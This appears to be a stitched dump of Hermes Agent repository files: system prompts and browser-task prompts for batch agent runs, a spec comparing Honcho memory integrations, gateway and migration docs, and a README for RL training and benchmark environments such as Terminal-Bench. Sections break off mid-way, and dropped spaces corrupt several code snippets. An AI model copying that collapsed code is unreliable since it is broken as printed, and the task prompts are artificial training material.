--ephemeral_system_prompt="You have access to a terminal tool for executing commands and completing coding, system administration, and computing tasks. Use the terminal to write code, run scripts, install packages (use --break-system-packages with pip if needed), manipulate files, and verify your work. Always test and validate code you create. Do not use interactive tools like vim, nano, or python REPL. If git output is large, pipe to cat. When web search is available, use it to look up documentation, APIs, or best practices. If browser tools are available, use them for web interactions that require page manipulation. Do not use the terminal to communicate with the user - only your final response will be shown to them."\
logger.warning("Job '%s' deliver=%s but no chat_id or home channel. Set via: hermes config set %s_HOME_CHANNEL <channel_id>",job["id"],deliver,platform_name.upper())
{"prompt": "Go to https://news.ycombinator.com and find the top 5 posts on the front page. For each post, get the title, URL, points, and number of comments. Return the results as a formatted summary."}
{"prompt": "Navigate to https://en.wikipedia.org/wiki/Hermes and extract the first paragraph of the article, the image caption, and the list of items in the infobox. Summarize what you find."}
{"prompt": "Go to https://github.com/trending and find the top 3 trending repositories today. For each repo, get the name, description, language, and star count. Write the results to a file called trending_repos.md."}
{"prompt": "Visit https://httpbin.org/forms/post and fill out the form with sample data (customer name: Jane Doe, size: Medium, topping: Bacon, delivery time: 12:00). Submit the form and report what the response page shows."}
{"prompt": "Navigate to https://books.toscrape.com, browse to the Travel category, find the highest-rated book, and extract its title, price, availability, and description."}
--ephemeral_system_prompt="You are an AI assistant with browser automation capabilities. Your primary task is to navigate and interact with web pages to accomplish user goals.
IMPORTANT GUIDELINES:
1. SEARCHING: Do NOT search directly on Google via the browser — they block automated searches. Use the web_search tool first to find URLs, then navigate to them with browser tools.
2. COOKIE/PRIVACY DIALOGS: After navigating to a page, check for cookie consent or privacy popups. Dismiss them by clicking Accept/Close/OK before interacting with other elements. Take a fresh browser_snapshot afterward.
3. HANDLING TIMEOUTS: If an action times out, the element may be blocked by an overlay. Take a new snapshot and look for dialogs to dismiss. If none, try an alternative approach or report the issue.
4. GENERAL: Use browser tools to click, fill forms, and extract information. Use terminal for local file operations. Verify your actions and handle errors gracefully."\
<pclass="subtitle">Comparison of Hermes Agent vs. openclaw-honcho — and a porting spec for bringing Hermes patterns into other Honcho integrations.</p>
<p>Two independent Honcho integrations have been built for two different agent runtimes: <strong>Hermes Agent</strong> (Python, baked into the runner) and <strong>openclaw-honcho</strong> (TypeScript plugin via hook/tool API). Both use the same Honcho peer paradigm — dual peer model, <code>session.context()</code>, <code>peer.chat()</code> — but they made different tradeoffs at every layer.</p>
<p>This document maps those tradeoffs and defines a porting spec: a set of Hermes-originated patterns, each stated as an integration-agnostic interface, that any Honcho integration can adopt regardless of runtime or language.</p>
<divclass="callout">
<strong>Scope</strong> Both integrations work correctly today. This spec is about the delta — patterns in Hermes that are worth propagating and patterns in openclaw-honcho that Hermes should eventually adopt. The spec is additive, not prescriptive.
</div>
</section>
<!-- ARCHITECTURE -->
<sectionid="architecture">
<h2>Architecture comparison</h2>
<h3>Hermes: baked-in runner</h3>
<p>Honcho is initialised directly inside <code>AIAgent.__init__</code>. There is no plugin boundary. Session management, context injection, async prefetch, and CLI surface are all first-class concerns of the runner. Context is injected once per session (baked into <code>_cached_system_prompt</code>) and never re-fetched mid-session — this maximises prefix cache hits at the LLM provider.</p>
<p>The plugin registers hooks against OpenClaw's event bus. Context is fetched synchronously inside <code>before_prompt_build</code> on every turn. Message capture happens in <code>agent_end</code>. The multi-agent hierarchy is tracked via <code>subagent_spawned</code>. This model is correct but every turn pays a blocking Honcho round-trip before the LLM call can begin.</p>
<td>Explicitly stripped before Honcho storage.</td>
</tr>
<tr>
<td><strong>Message dedup</strong></td>
<td>None (sends on every save cycle).</td>
<td><code>lastSavedIndex</code> in session metadata prevents re-sending.</td>
</tr>
<tr>
<td><strong>CLI surface in prompt</strong></td>
<td>Management commands injected into system prompt. Agent knows its own CLI.</td>
<td>Not injected.</td>
</tr>
<tr>
<td><strong>AI peer name in identity</strong></td>
<td>Replaces "Hermes Agent" in DEFAULT_AGENT_IDENTITY when configured.</td>
<td>Not implemented.</td>
</tr>
<tr>
<td><strong>QMD / local file search</strong></td>
<td>Not implemented.</td>
<td>Passthrough tools when QMD backend configured.</td>
</tr>
<tr>
<td><strong>Workspace metadata</strong></td>
<td>Not implemented.</td>
<td><code>agentPeerMap</code> in workspace metadata tracks agent→peer ID.</td>
</tr>
</tbody>
</table>
</div>
</section>
<!-- PATTERNS -->
<sectionid="patterns">
<h2>Hermes patterns to port</h2>
<p>Six patterns from Hermes are worth adopting in any Honcho integration. They are described below as integration-agnostic interfaces — the implementation will differ per runtime, but the contract is the same.</p>
<divclass="compare">
<divclass="compare-card">
<h4>Patterns Hermes contributes</h4>
<ul>
<li>Async prefetch (zero-latency)</li>
<li>Dynamic reasoning level</li>
<li>Per-peer memory modes</li>
<li>AI peer identity formation</li>
<li>Session naming strategies</li>
<li>CLI surface injection</li>
</ul>
</div>
<divclass="compare-card after">
<h4>Patterns openclaw contributes back</h4>
<ul>
<li>lastSavedIndex dedup</li>
<li>Platform metadata stripping</li>
<li>Multi-agent observer hierarchy</li>
<li>peerPerspective on context()</li>
<li>Tiered tool surface (fast/LLM)</li>
<li>Workspace agentPeerMap</li>
</ul>
</div>
</div>
</section>
<!-- SPEC: ASYNC PREFETCH -->
<sectionid="spec-async">
<h2>Spec: async prefetch</h2>
<h3>Problem</h3>
<p>Calling <code>session.context()</code> and <code>peer.chat()</code> synchronously before each LLM call adds 200–800ms of Honcho round-trip latency to every turn. Users experience this as the agent "thinking slowly."</p>
<h3>Pattern</h3>
<p>Fire both calls as non-blocking background work at the <strong>end</strong> of each turn. Store results in a per-session cache keyed by session ID. At the <strong>start</strong> of the next turn, pop from cache — the HTTP is already done. First turn is cold (empty cache); all subsequent turns are zero-latency on the response path.</p>
aiRepresentation?: <spanclass="str">string</span>; <spanclass="cm">// AI peer context if enabled</span>
summary?: <spanclass="str">string</span>; <spanclass="cm">// conversation summary if fetched</span>
};</code></pre>
<h3>Implementation notes</h3>
<ul>
<li>Python: <code>threading.Thread(daemon=True)</code>. Write to <code>dict[session_id, result]</code> — GIL makes this safe for simple writes.</li>
<li>TypeScript: <code>Promise</code> stored in <code>Map<string, Promise<ContextResult>></code>. Await at pop time. If not resolved yet, skip (return null) — do not block.</li>
<li>The pop is destructive: clears the cache entry after reading so stale data never accumulates.</li>
<li>Prefetch should also fire on first turn (even though it won't be consumed until turn 2) — this ensures turn 2 is never cold.</li>
</ul>
<h3>openclaw-honcho adoption</h3>
<p>Move <code>session.context()</code> from <code>before_prompt_build</code> to a post-<code>agent_end</code> background task. Store result in <code>state.contextCache</code>. In <code>before_prompt_build</code>, read from cache instead of calling Honcho. If cache is empty (turn 1), inject nothing — the prompt is still valid without Honcho context on the first turn.</p>
</section>
<!-- SPEC: DYNAMIC REASONING LEVEL -->
<sectionid="spec-reasoning">
<h2>Spec: dynamic reasoning level</h2>
<h3>Problem</h3>
<p>Honcho's dialectic endpoint supports reasoning levels from <code>minimal</code> to <code>max</code>. A fixed level per tool wastes budget on simple queries and under-serves complex ones.</p>
<h3>Pattern</h3>
<p>Select the reasoning level dynamically based on the user's message. Use the configured default as a floor. Bump by message length. Cap auto-selection at <code>high</code> — never select <code>max</code> automatically.</p>
<h3>Interface contract</h3>
<pre><code><spanclass="cm">// Shared helper — identical logic in any language</span>
<spanclass="kw">const</span> bump = n <<spanclass="num">120</span> ? <spanclass="num">0</span> : n <<spanclass="num">400</span> ? <spanclass="num">1</span> : <spanclass="num">2</span>;
<spanclass="kw">return</span> LEVELS[Math.min(baseIdx + bump, <spanclass="num">3</span>)]; <spanclass="cm">// cap at "high" (idx 3)</span>
}</code></pre>
<h3>Config key</h3>
<p>Add a <code>dialecticReasoningLevel</code> config field (string, default <code>"low"</code>). This sets the floor. Users can raise or lower it. The dynamic bump always applies on top.</p>
<h3>openclaw-honcho adoption</h3>
<p>Apply in <code>honcho_recall</code> and <code>honcho_analyze</code>: replace the fixed <code>reasoningLevel</code> with the dynamic selector. <code>honcho_recall</code> should use floor <code>"minimal"</code> and <code>honcho_analyze</code> floor <code>"medium"</code> — both still bump with message length.</p>
</section>
<!-- SPEC: PER-PEER MEMORY MODES -->
<sectionid="spec-modes">
<h2>Spec: per-peer memory modes</h2>
<h3>Problem</h3>
<p>Users want independent control over whether user context and agent context are written locally, to Honcho, or both. A single <code>memoryMode</code> shorthand is not granular enough.</p>
<h3>Pattern</h3>
<p>Three modes per peer: <code>hybrid</code> (write both local + Honcho), <code>honcho</code> (Honcho only, disable local files), <code>local</code> (local files only, skip Honcho sync for this peer). Two orthogonal axes: user peer and agent peer.</p>
<li><code>userMemoryMode=honcho</code>: disable local USER.md writes.</li>
<li><code>agentMemoryMode=honcho</code>: disable local MEMORY.md / SOUL.md writes.</li>
</ul>
</section>
<!-- SPEC: AI PEER IDENTITY -->
<sectionid="spec-identity">
<h2>Spec: AI peer identity formation</h2>
<h3>Problem</h3>
<p>Honcho builds the user's representation organically by observing what the user says. The same mechanism exists for the AI peer — but only if <code>observe_me=True</code> is set for the agent peer. Without it, the agent peer accumulates nothing and Honcho's AI-side model never forms.</p>
<p>Additionally, existing persona files (SOUL.md, IDENTITY.md) should seed the AI peer's Honcho representation at first activation, rather than waiting for it to emerge from scratch.</p>
<h3>Part A: observe_me=True for agent peer</h3>
<pre><code><spanclass="cm">// TypeScript — in session.addPeers() call</span>
<p>During <code>openclaw honcho setup</code>, upload agent-self files (SOUL.md, IDENTITY.md, AGENTS.md, BOOTSTRAP.md) to the agent peer using <code>seedAiIdentity()</code> instead of <code>session.uploadFile()</code>. This routes the content through Honcho's observation pipeline rather than the file store.</p>
<h3>Part D: AI peer name in identity</h3>
<p>When the agent has a configured name (non-default), inject it into the agent's self-identity prefix. In OpenClaw this means adding to the injected system prompt section:</p>
<pre><code><spanclass="cm">// In context hook return value</span>
<spanclass="kw">return</span> {
systemPrompt: [
agentName ? <spanclass="str">`You are ${agentName}.`</span> : <spanclass="str">""</span>,
<pre><code>openclaw honcho identity <file><spanclass="cm"># seed from file</span>
openclaw honcho identity --show <spanclass="cm"># show current AI peer representation</span></code></pre>
</section>
<!-- SPEC: SESSION NAMING -->
<sectionid="spec-sessions">
<h2>Spec: session naming strategies</h2>
<h3>Problem</h3>
<p>When Honcho is used across multiple projects or directories, a single global session means every project shares the same context. Per-directory sessions provide isolation without requiring users to name sessions manually.</p>
<h3>Strategies</h3>
<divclass="table-wrap">
<table>
<thead><tr><th>Strategy</th><th>Session key</th><th>When to use</th></tr></thead>
<tbody>
<tr><td><code>per-directory</code></td><td>basename of CWD</td><td>Default. Each project gets its own session.</td></tr>
<p>When a user asks "how do I change my memory settings?" or "what Honcho commands are available?" the agent either hallucinates or says it doesn't know. The agent should know its own management interface.</p>
<h3>Pattern</h3>
<p>When Honcho is active, append a compact command reference to the system prompt. The agent can cite these commands directly instead of guessing.</p>
<pre><code><spanclass="cm">// In context hook, append to systemPrompt</span>
<strong>Keep it compact.</strong> This section is injected every turn. Keep it under 300 chars of context. List commands, not explanations — the agent can explain them on request.
</div>
</section>
<!-- OPENCLAW CHECKLIST -->
<sectionid="openclaw-checklist">
<h2>openclaw-honcho checklist</h2>
<p>Ordered by impact. Each item maps to a spec section above.</p>
<ulclass="checklist">
<liclass="todo"><strong>Async prefetch</strong> — move <code>session.context()</code> out of <code>before_prompt_build</code> into post-<code>agent_end</code> background Promise. Pop from cache at prompt build. (<ahref="#spec-async">spec</a>)</li>
<liclass="todo"><strong>observe_me=True for agent peer</strong> — one-line change in <code>session.addPeers()</code> config for agent peer. (<ahref="#spec-identity">spec</a>)</li>
<liclass="todo"><strong>Dynamic reasoning level</strong> — add <code>dynamicReasoningLevel()</code> helper; apply in <code>honcho_recall</code> and <code>honcho_analyze</code>. Add <code>dialecticReasoningLevel</code> to config schema. (<ahref="#spec-reasoning">spec</a>)</li>
<liclass="todo"><strong>Per-peer memory modes</strong> — add <code>userMemoryMode</code> / <code>agentMemoryMode</code> to config; gate Honcho sync and local writes accordingly. (<ahref="#spec-modes">spec</a>)</li>
<liclass="todo"><strong>seedAiIdentity()</strong> — add helper; apply during setup migration for SOUL.md / IDENTITY.md instead of <code>session.uploadFile()</code>. (<ahref="#spec-identity">spec</a>)</li>
<liclass="todo"><strong>CLI surface injection</strong> — append command reference to <code>before_prompt_build</code> return value when Honcho is active. (<ahref="#spec-cli">spec</a>)</li>
<liclass="todo"><strong>AI peer name injection</strong> — if <code>aiPeer</code> name configured, prepend to injected system prompt. (<ahref="#spec-identity">spec</a>)</li>
<strong>Already done in openclaw-honcho (do not re-implement):</strong> lastSavedIndex dedup, platform metadata stripping, multi-agent parent observer hierarchy, peerPerspective on context(), tiered tool surface (fast/LLM), workspace agentPeerMap, QMD passthrough, self-hosted Honcho support.
</div>
</section>
<!-- NANOBOT CHECKLIST -->
<sectionid="nanobot-checklist">
<h2>nanobot-honcho checklist</h2>
<p>nanobot-honcho is a greenfield integration. Start from openclaw-honcho's architecture (hook-based, dual peer) and apply all Hermes patterns from day one rather than retrofitting. Priority order:</p>
<h3>Phase 1 — core correctness</h3>
<ulclass="checklist">
<liclass="todo">Dual peer model (owner + agent peer), both with <code>observe_me=True</code></li>
<liclass="todo">Message capture at turn end with <code>lastSavedIndex</code> dedup</li>
<liclass="todo">Platform metadata stripping before Honcho storage</li>
<liclass="todo">Async prefetch from day one — do not implement blocking context injection</li>
<liclass="todo">Legacy file migration at first activation (USER.md → owner peer, SOUL.md → <code>seedAiIdentity()</code>)</li>
Comparison of Hermes Agent vs. openclaw-honcho — and a porting spec for bringing Hermes patterns into other Honcho integrations.
---
## Overview
Two independent Honcho integrations have been built for two different agent runtimes: **Hermes Agent** (Python, baked into the runner) and **openclaw-honcho** (TypeScript plugin via hook/tool API). Both use the same Honcho peer paradigm — dual peer model, `session.context()`, `peer.chat()` — but they made different tradeoffs at every layer.
This document maps those tradeoffs and defines a porting spec: a set of Hermes-originated patterns, each stated as an integration-agnostic interface, that any Honcho integration can adopt regardless of runtime or language.
> **Scope** Both integrations work correctly today. This spec is about the delta — patterns in Hermes that are worth propagating and patterns in openclaw-honcho that Hermes should eventually adopt. The spec is additive, not prescriptive.
---
## Architecture comparison
### Hermes: baked-in runner
Honcho is initialised directly inside `AIAgent.__init__`. There is no plugin boundary. Session management, context injection, async prefetch, and CLI surface are all first-class concerns of the runner. Context is injected once per session (baked into `_cached_system_prompt`) and never re-fetched mid-session — this maximises prefix cache hits at the LLM provider.
The plugin registers hooks against OpenClaw's event bus. Context is fetched synchronously inside `before_prompt_build` on every turn. Message capture happens in `agent_end`. The multi-agent hierarchy is tracked via `subagent_spawned`. This model is correct but every turn pays a blocking Honcho round-trip before the LLM call can begin.
Turn flow:
```
user message
→ before_prompt_build (BLOCKING HTTP — every turn)
→ session.context()
→ system prompt assembled
→ LLM call
→ response
→ agent_end hook
→ session.addMessages()
→ session.setMetadata()
```
---
## Diff table
| Dimension | Hermes Agent | openclaw-honcho |
|---|---|---|
| **Context injection timing** | Once per session (cached). Zero HTTP on response path after turn 1. | Every turn, blocking. Fresh context per turn but adds latency. |
| **Prefetch strategy** | Daemon threads fire at turn end; consumed next turn from cache. | None. Blocking call at prompt-build time. |
| **Dialectic (peer.chat)** | Prefetched async; result injected into system prompt next turn. | On-demand via `honcho_recall` / `honcho_analyze` tools. |
| **Reasoning level** | Dynamic: scales with message length. Floor = config default. Cap = "high". | Fixed per tool: recall=minimal, analyze=medium. |
| **Write frequency** | async (background queue), turn, session, N turns. | After every agent_end (no control). |
| **AI peer identity** | `observe_me=True`, `seed_ai_identity()`, `get_ai_representation()`, SOUL.md → AI peer. | Agent files uploaded to agent peer at setup. No ongoing self-observation. |
| **Context scope** | User peer + AI peer representation, both injected. | User peer (owner) representation + conversation summary. `peerPerspective` on context call. |
| **Session naming** | per-directory / global / manual map / title-based. | Derived from platform session key. |
| **CLI surface in prompt** | Management commands injected into system prompt. Agent knows its own CLI. | Not injected. |
| **AI peer name in identity** | Replaces "Hermes Agent" in DEFAULT_AGENT_IDENTITY when configured. | Not implemented. |
| **QMD / local file search** | Not implemented. | Passthrough tools when QMD backend configured. |
| **Workspace metadata** | Not implemented. | `agentPeerMap` in workspace metadata tracks agent→peer ID. |
---
## Patterns
Six patterns from Hermes are worth adopting in any Honcho integration. Each is described as an integration-agnostic interface.
**Hermes contributes:**
- Async prefetch (zero-latency)
- Dynamic reasoning level
- Per-peer memory modes
- AI peer identity formation
- Session naming strategies
- CLI surface injection
**openclaw-honcho contributes back (Hermes should adopt):**
-`lastSavedIndex` dedup
- Platform metadata stripping
- Multi-agent observer hierarchy
-`peerPerspective` on `context()`
- Tiered tool surface (fast/LLM)
- Workspace `agentPeerMap`
---
## Spec: async prefetch
### Problem
Calling `session.context()` and `peer.chat()` synchronously before each LLM call adds 200–800ms of Honcho round-trip latency to every turn.
### Pattern
Fire both calls as non-blocking background work at the **end** of each turn. Store results in a per-session cache keyed by session ID. At the **start** of the next turn, pop from cache — the HTTP is already done. First turn is cold (empty cache); all subsequent turns are zero-latency on the response path.
### Interface contract
```typescript
interfaceAsyncPrefetch{
// Fire context + dialectic fetches at turn end. Non-blocking.
aiRepresentation?: string;// AI peer context if enabled
summary?: string;// conversation summary if fetched
};
```
### Implementation notes
- **Python:** `threading.Thread(daemon=True)`. Write to `dict[session_id, result]` — GIL makes this safe for simple writes.
- **TypeScript:** `Promise` stored in `Map<string, Promise<ContextResult>>`. Await at pop time. If not resolved yet, return null — do not block.
- The pop is destructive: clears the cache entry after reading so stale data never accumulates.
- Prefetch should also fire on first turn (even though it won't be consumed until turn 2).
### openclaw-honcho adoption
Move `session.context()` from `before_prompt_build` to a post-`agent_end` background task. Store result in `state.contextCache`. In `before_prompt_build`, read from cache instead of calling Honcho. If cache is empty (turn 1), inject nothing — the prompt is still valid without Honcho context on the first turn.
---
## Spec: dynamic reasoning level
### Problem
Honcho's dialectic endpoint supports reasoning levels from `minimal` to `max`. A fixed level per tool wastes budget on simple queries and under-serves complex ones.
### Pattern
Select the reasoning level dynamically based on the user's message. Use the configured default as a floor. Bump by message length. Cap auto-selection at `high` — never select `max` automatically.
### Logic
```
< 120 chars → default (typically "low")
120–400 chars → one level above default (cap at "high")
> 400 chars → two levels above default (cap at "high")
```
### Config key
Add `dialecticReasoningLevel` (string, default `"low"`). This sets the floor. The dynamic bump always applies on top.
### openclaw-honcho adoption
Apply in `honcho_recall` and `honcho_analyze`: replace fixed `reasoningLevel` with the dynamic selector. `honcho_recall` uses floor `"minimal"`, `honcho_analyze` uses floor `"medium"` — both still bump with message length.
---
## Spec: per-peer memory modes
### Problem
Users want independent control over whether user context and agent context are written locally, to Honcho, or both.
### Modes
| Mode | Effect |
|---|---|
| `hybrid` | Write to both local files and Honcho (default) |
| `honcho` | Honcho only — disable corresponding local file writes |
| `local` | Local files only — skip Honcho sync for this peer |
-`userMemoryMode=local`: skip adding user peer messages to Honcho
-`agentMemoryMode=local`: skip adding assistant peer messages to Honcho
- Both local: skip `session.addMessages()` entirely
-`userMemoryMode=honcho`: disable local USER.md writes
-`agentMemoryMode=honcho`: disable local MEMORY.md / SOUL.md writes
---
## Spec: AI peer identity formation
### Problem
Honcho builds the user's representation organically by observing what the user says. The same mechanism exists for the AI peer — but only if `observe_me=True` is set for the agent peer. Without it, the agent peer accumulates nothing.
Additionally, existing persona files (SOUL.md, IDENTITY.md) should seed the AI peer's Honcho representation at first activation.
[agentPeer.id,{observeMe: true,observeOthers: true}],// was false
]);
```
One-line change. Foundational. Without it, the AI peer representation stays empty regardless of what the agent says.
### Part B: seedAiIdentity()
```typescript
asyncfunctionseedAiIdentity(
agentPeer: Peer,
content: string,
source: string
):Promise<boolean>{
constwrapped=[
`<ai_identity_seed>`,
`<source>${source}</source>`,
``,
content.trim(),
`</ai_identity_seed>`,
].join("\n");
awaitagentPeer.addMessage("assistant",wrapped);
returntrue;
}
```
### Part C: migrate agent files at setup
During `honcho setup`, upload agent-self files (SOUL.md, IDENTITY.md, AGENTS.md) to the agent peer via `seedAiIdentity()` instead of `session.uploadFile()`. This routes content through Honcho's observation pipeline.
### Part D: AI peer name in identity
When the agent has a configured name, prepend it to the injected system prompt:
```typescript
constnamePrefix=agentName?`You are ${agentName}.\n\n`:"";
return{systemPrompt: namePrefix+"## User Memory Context\n\n"+sections};
```
### CLI surface
```
honcho identity <file> # seed from file
honcho identity --show # show current AI peer representation
```
---
## Spec: session naming strategies
### Problem
A single global session means every project shares the same Honcho context. Per-directory sessions provide isolation without requiring users to name sessions manually.
### Strategies
| Strategy | Session key | When to use |
|---|---|---|
| `per-directory` | basename of CWD | Default. Each project gets its own session. |
When a user asks "how do I change my memory settings?" the agent either hallucinates or says it doesn't know. The agent should know its own management interface.
### Pattern
When Honcho is active, append a compact command reference to the system prompt. Keep it under 300 chars.
```
# Honcho memory integration
Active. Session: {sessionKey}. Mode: {mode}.
Management commands:
honcho status — show config + connection
honcho mode [hybrid|honcho|local] — show or set memory mode
honcho sessions — list session mappings
honcho map <name> — map directory to session
honcho identity [file] [--show] — seed or show AI identity
honcho setup — full interactive wizard
```
---
## openclaw-honcho checklist
Ordered by impact:
- [ ]**Async prefetch** — move `session.context()` out of `before_prompt_build` into post-`agent_end` background Promise
- [ ]**observe_me=True for agent peer** — one-line change in `session.addPeers()`
- [ ]**Dynamic reasoning level** — add helper; apply in `honcho_recall` and `honcho_analyze`; add `dialecticReasoningLevel` to config
- [ ]**Per-peer memory modes** — add `userMemoryMode` / `agentMemoryMode` to config; gate Honcho sync and local writes
- [ ]**seedAiIdentity()** — add helper; use during setup migration for SOUL.md / IDENTITY.md
| Telegram | `hermes-telegram` | Full tools including terminal |
| Discord | `hermes-discord` | Full tools including terminal |
| WhatsApp | `hermes-whatsapp` | Full tools including terminal |
## User Experience Features
### Typing Indicator
The gateway keeps the "typing..." indicator active throughout processing, refreshing every 4 seconds. This lets users know the bot is working even during long tool-calling sequences.
### Tool Progress Notifications
When `HERMES_TOOL_PROGRESS=true`, the bot sends status messages as it works:
```
💻 `ls -la`...
🔍 web_search...
📄 web_extract...
🎨 image_generate...
```
Terminal commands show the actual command (truncated to 50 chars). Other tools just show the tool name.
**Modes:**
- `new`: Only sends message when switching to a different tool (less spam)
- `all`: Sends message for every single tool call
### Working Directory
- **CLI (`hermes` command)**: Uses current directory where you run the command
- **Messaging**: Uses `MESSAGING_CWD` (default: home directory `~`)
This is intentional: CLI users are in a terminal and expect the agent to work in their current directory, while messaging users need a consistent starting location.
### Max Iterations
If the agent hits the max iteration limit while working, instead of a generic error, it asks the model to summarize what it found so far. This gives you a useful response even when the task couldn't be fully completed.
## Cron Job Delivery
When scheduling cron jobs, you can specify where the output should be delivered:
```
User: "Remind me to check the server in 30 minutes"
Agent uses: schedule_cronjob(
prompt="Check server status...",
schedule="30m",
deliver="origin" # Back to this chat
)
```
### Delivery Options
| Option | Description |
|--------|-------------|
| `"origin"` | Back to where the job was created |
| `"local"` | Save to local files only |
| `"telegram"` | Telegram home channel |
| `"discord"` | Discord home channel |
| `"telegram:123456"` | Specific Telegram chat |
## Dynamic Context Injection
The agent knows where it is via injected context:
```
## Current Session Context
**Source:** Telegram (group: Dev Team, ID: -1001234567890)
**Connected Platforms:** local, telegram, discord
**Home Channels:**
- telegram: My Notes (ID: -1001234567890)
- discord: #bot-updates (ID: 123456789012345678)
**Delivery options for scheduled tasks:**
- "origin" → Back to this chat (Dev Team)
- "local" → Save to local files only
- "telegram" → Home channel (My Notes)
- "discord" → Home channel (#bot-updates)
```
## CLI Commands
| Command | Description |
|---------|-------------|
| `/platforms` | Show gateway configuration and status |
| `--gateway` | Start the gateway (CLI flag) |
## Troubleshooting
### "python-telegram-bot not installed"
```bash
pip install python-telegram-bot>=20.0
```
### "discord.py not installed"
```bash
pip install discord.py>=2.0
```
### "No platforms connected"
1. Check your environment variables are set
2. Check your tokens are valid
3. Try `/platforms` to see configuration status
### Session not persisting
1. Check `~/.hermes/sessions/` exists
2. Check session policies aren't too aggressive
3. Verify no errors in gateway logs
## Adding a New Platform
To add a new messaging platform:
### 1. Create the adapter
Create `gateway/platforms/your_platform.py`:
```python
from gateway.platforms.base import BasePlatformAdapter, MessageEvent, SendResult
from gateway.config import Platform, PlatformConfig
This guide covers how to import your OpenClaw settings, memories, skills, and API keys into Hermes Agent.
## Three Ways to Migrate
### 1. Automatic (during first-time setup)
When you run `hermes setup` for the first time and Hermes detects `~/.openclaw`, it automatically offers to import your OpenClaw data before configuration begins. Just accept the prompt and everything is handled for you.
### 2. CLI Command (quick, scriptable)
```bash
hermes claw migrate # Full migration with confirmation prompt
hermes claw migrate --dry-run # Preview what would happen
hermes claw migrate --preset user-data # Migrate without API keys/secrets
- **Skills** — skipped if a skill with the same name already exists
- **API keys** — skipped if the key is already set in `~/.hermes/.env`
To overwrite conflicts, use `--overwrite`. The migration creates backups before overwriting.
For skills, you can also use `--skill-conflict rename` to import conflicting skills under a new name (e.g., `skill-name-imported`).
## Migration Report
Every migration (including dry runs) produces a report showing:
- **Migrated items** — what was successfully imported
- **Conflicts** — items skipped because they already exist
- **Skipped items** — items not found in the source
- **Errors** — items that failed to import
For execute runs, the full report is saved to `~/.hermes/migration/openclaw/<timestamp>/`.
## Troubleshooting
### "OpenClaw directory not found"
The migration looks for `~/.openclaw` by default. If your OpenClaw is installed elsewhere, use `--source`:
```bash
hermes claw migrate --source /path/to/.openclaw
```
### "Migration script not found"
The migration script ships with Hermes Agent. If you installed via pip (not git clone), the `optional-skills/` directory may not be present. Install the skill from the Skills Hub:
```bash
hermes skills install openclaw-migration
```
### Memory overflow
If your OpenClaw MEMORY.md or USER.md exceeds Hermes' character limits, excess entries are exported to an overflow file in the migration report directory. You can manually review and add the most important ones.
This directory contains the integration layer between **hermes-agent's** tool-calling capabilities and the **Atropos** RL training framework. It provides everything needed to run agentic LLMs through multi-turn tool-calling loops, score their output with arbitrary reward functions, and feed results into Atropos for training or evaluation.
- Applies monkey patches for async-safe tool operation at import time
Concrete environments inherit from `HermesAgentBaseEnv` and implement:
-`setup()` -- Load dataset, initialize state
-`get_next_item()` -- Return the next item for rollout
-`format_prompt()` -- Convert a dataset item into the user message
-`compute_reward()` -- Score the rollout using ToolContext
-`evaluate()` -- Periodic evaluation logic
## Core Components
### Agent Loop (`agent_loop.py`)
`HermesAgentLoop` is the reusable multi-turn agent engine. It runs the same pattern as hermes-agent's `run_agent.py`:
1. Send messages + tools to the API via `server.chat_completion()`
2. If the response contains `tool_calls`, execute each one via `handle_function_call()` (which delegates to `tools/registry.py`'s `dispatch()`)
3. Append tool results to the conversation and go back to step 1
4. If the response has no tool_calls, the agent is done
Tool calls are executed in a thread pool (`run_in_executor`) so backends that use `asyncio.run()` internally (Modal, Docker) don't deadlock inside Atropos's event loop.
Returns an `AgentResult` containing the full conversation history, turn count, reasoning content per turn, tool errors, and optional ManagedServer state (for Phase 2).
### Tool Context (`tool_context.py`)
`ToolContext` is a per-rollout handle that gives reward/verification functions direct access to **all** hermes-agent tools, scoped to the rollout's `task_id`. The same `task_id` means the terminal/browser session is the SAME one the model used during its rollout -- all state (files, processes, browser tabs) is preserved.
- **Generic**: `call_tool(name, args)` -- call any hermes-agent tool by name
- **Cleanup**: `cleanup()` -- release all resources (called automatically after `compute_reward`)
### Patches (`patches.py`)
**Problem**: Some hermes-agent tools use `asyncio.run()` internally (e.g., mini-swe-agent's Modal backend via SWE-ReX). This crashes when called from inside Atropos's event loop because `asyncio.run()` cannot be nested.
**Solution**: `patches.py` monkey-patches `SwerexModalEnvironment` to use a dedicated background thread (`_AsyncWorker`) with its own event loop. The calling code sees the same sync interface, but internally the async work happens on a separate thread that doesn't conflict with Atropos's loop.
What gets patched:
-`SwerexModalEnvironment.__init__` -- creates Modal deployment on a background thread
-`SwerexModalEnvironment.execute` -- runs commands on the same background thread
-`SwerexModalEnvironment.stop` -- stops deployment on the background thread
The patches are:
- **Idempotent** -- calling `apply_patches()` multiple times is safe
- **Transparent** -- same interface and behavior, only the internal async execution changes
- **Universal** -- works identically in normal CLI use (no running event loop)
Applied automatically at import time by `hermes_base_env.py`.
### Tool Call Parsers (`tool_call_parsers/`)
Client-side parsers that extract structured `tool_calls` from raw model output text. Used in **Phase 2** (VLLM server type) where ManagedServer's `/generate` endpoint returns raw text without tool call parsing.
Each parser is a standalone reimplementation of the corresponding VLLM parser's `extract_tool_calls()` logic. No VLLM dependency -- only standard library (`re`, `json`, `uuid`) and `openai` types.
Available parsers:
-`hermes` -- Hermes/ChatML `<tool_call>` XML format
A self-contained environment with inline tasks (no external dataset needed) for validating the full stack end-to-end. Each task asks the model to create a file at a known path, and the verifier checks the content matches.
SWE-bench style training environment. The model gets a coding task, uses terminal + file + web tools to solve it, and the reward function runs tests in the same Modal sandbox.
**Eval-only** environment for the Terminal-Bench 2.0 benchmark (89 tasks). Each task gets a pre-built Docker Hub image, a natural language instruction, and a test suite. The agent uses terminal + file tools to solve the task, then the test suite verifies correctness.
Follows the standard Atropos eval pattern (like GPQA, MMLU, etc.):
- Run via `evaluate` subcommand (no `run-api` needed)
-`setup()` loads the dataset, `evaluate()` runs all tasks
-`rollout_and_score_eval()` handles per-task agent loop + test verification
This environment evaluates terminal agents on the [OpenThoughts-TBLite](https://huggingface.co/datasets/open-thoughts/OpenThoughts-TBLite) benchmark, a difficulty-calibrated subset of [Terminal-Bench 2.0](https://www.tbench.ai/leaderboard/terminal-bench/2.0).
## Source
OpenThoughts-TBLite was created by the [OpenThoughts](https://www.openthoughts.ai/) Agent team in collaboration with [Snorkel AI](https://snorkel.ai/) and [Bespoke Labs](https://bespokelabs.ai/). The original dataset and documentation live at:
We converted the source into the same schema used by our Terminal-Bench 2.0 environment (pre-built Docker Hub images, base64-encoded test tarballs, etc.) and published it as:
